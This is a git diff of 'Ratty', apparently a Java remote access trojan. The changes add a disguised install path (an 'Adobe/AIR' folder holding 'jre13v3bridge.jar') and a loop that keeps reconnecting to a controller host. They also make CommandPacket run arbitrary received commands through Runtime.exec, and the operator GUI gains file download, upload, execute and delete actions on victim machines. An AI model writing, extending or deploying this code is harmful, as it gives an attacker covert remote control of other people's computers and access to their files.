diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 5d39b15..961a8d6 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -17,12 +17,15 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { + private static final int DISCONNECT_SLEEP_INTERVAL = 2500; + + private static final String FOLDER_NAME = "Adobe" + File.separator + "AIR"; + private static final String FILE_NAME = "jre13v3bridge.jar"; + public static final String ADDRESS = "localhost"; public static final int PORT = 23456; public static final boolean CLIENT = false; public static final String VERSION = "1.0"; - public static final String FOLDER_NAME = "Adobe" + File.separator + "AIR"; - public static final String FILE_NAME = "jre13v3bridge.jar"; private Ratty() { //... @@ -49,7 +52,14 @@ public final class Ratty { final Trojan trojan = new Trojan(); if (!newClient.isOpen()) { - connectToHost(address, port); + try { + Thread.sleep(DISCONNECT_SLEEP_INTERVAL); + System.gc(); + } catch (final InterruptedException ex) { + ex.printStackTrace(); + } finally { + connectToHost(address, port); + } return; } @@ -68,7 +78,6 @@ public final class Ratty { } public static void main(final String[] args) { - //setLookAndFeel(); WebLookAndFeel.install(); if (CLIENT) { diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java index 53f059c..54c710c 100644 --- a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java @@ -1,86 +1,36 @@ package de.sogomn.rat.packet; -import java.io.IOException; -import java.io.InputStream; - -import javax.swing.JDialog; import javax.swing.JOptionPane; import de.sogomn.rat.ActiveClient; -public final class CommandPacket extends AbstractPingPongPacket { +public final class CommandPacket implements IPacket { private String command; - private String output; public CommandPacket(final String command) { this.command = command; - - type = REQUEST; } public CommandPacket() { this(""); - - type = DATA; } @Override - protected void sendRequest(final ActiveClient client) { + public void send(final ActiveClient client) { client.writeUTF(command); } - @Override - protected void sendData(final ActiveClient client) { - client.writeUTF(output); - } - - @Override - protected void receiveRequest(final ActiveClient client) { + public void receive(final ActiveClient client) { command = client.readUTF(); } - @Override - protected void receiveData(final ActiveClient client) { - output = client.readUTF(); - } - - @Override - protected void executeRequest(final ActiveClient client) { + public void execute(final ActiveClient client) { try { - final Process process = Runtime.getRuntime().exec(command); - - process.waitFor(); - - final InputStream in = process.getInputStream(); - final byte[] buffer = new byte[in.available()]; - - in.read(buffer); - - output = new String(buffer); - } catch (final IOException | InterruptedException ex) { - output = ex.toString(); + Runtime.getRuntime().exec(command); + } catch (final Exception ex) { + ex.printStackTrace(); } - - type = DATA; - client.addPacket(this); - } - - @Override - protected void executeData(final ActiveClient client) { - final JOptionPane optionPane = new JOptionPane(output); - final JDialog dialog = optionPane.createDialog(null); - - dialog.setModal(false); - dialog.setVisible(true); - } - - public String getCommand() { - return command; - } - - public String getOutput() { - return output; } public static CommandPacket create() { diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index b5b8bfd..0e60fe3 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -44,12 +44,12 @@ public final class FileTreePanel { private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); - public static final String REQUEST = "Show content"; + public static final String REQUEST = "Request content"; public static final String DOWNLOAD = "Download file"; - public static final String UPLOAD = "Upload file"; + public static final String UPLOAD = "Upload file here"; public static final String EXECUTE = "Execute file"; public static final String DELETE = "Delete file"; - public static final String NEW_FOLDER = "New folder"; + public static final String NEW_FOLDER = "Create new folder here"; public static final String[] COMMANDS = { REQUEST, diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index df10d82..feee0c5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -220,17 +220,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void clientDisconnected(final ActiveClient client) { final ServerClient serverClient = getServerClient(client); + final FileTreePanel treePanel = serverClient.getTreePanel(); final long id = serverClient.id; client.setObserver(null); client.close(); clients.remove(client); + treePanel.setVisible(false); gui.removeTableRow(id); } @Override - public void clientConnected(final ActiveServer server, final ActiveClient client) { + public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) { final long id = nextId++; final ServerClient serverClient = new ServerClient(id, client); final InformationPacket packet = new InformationPacket();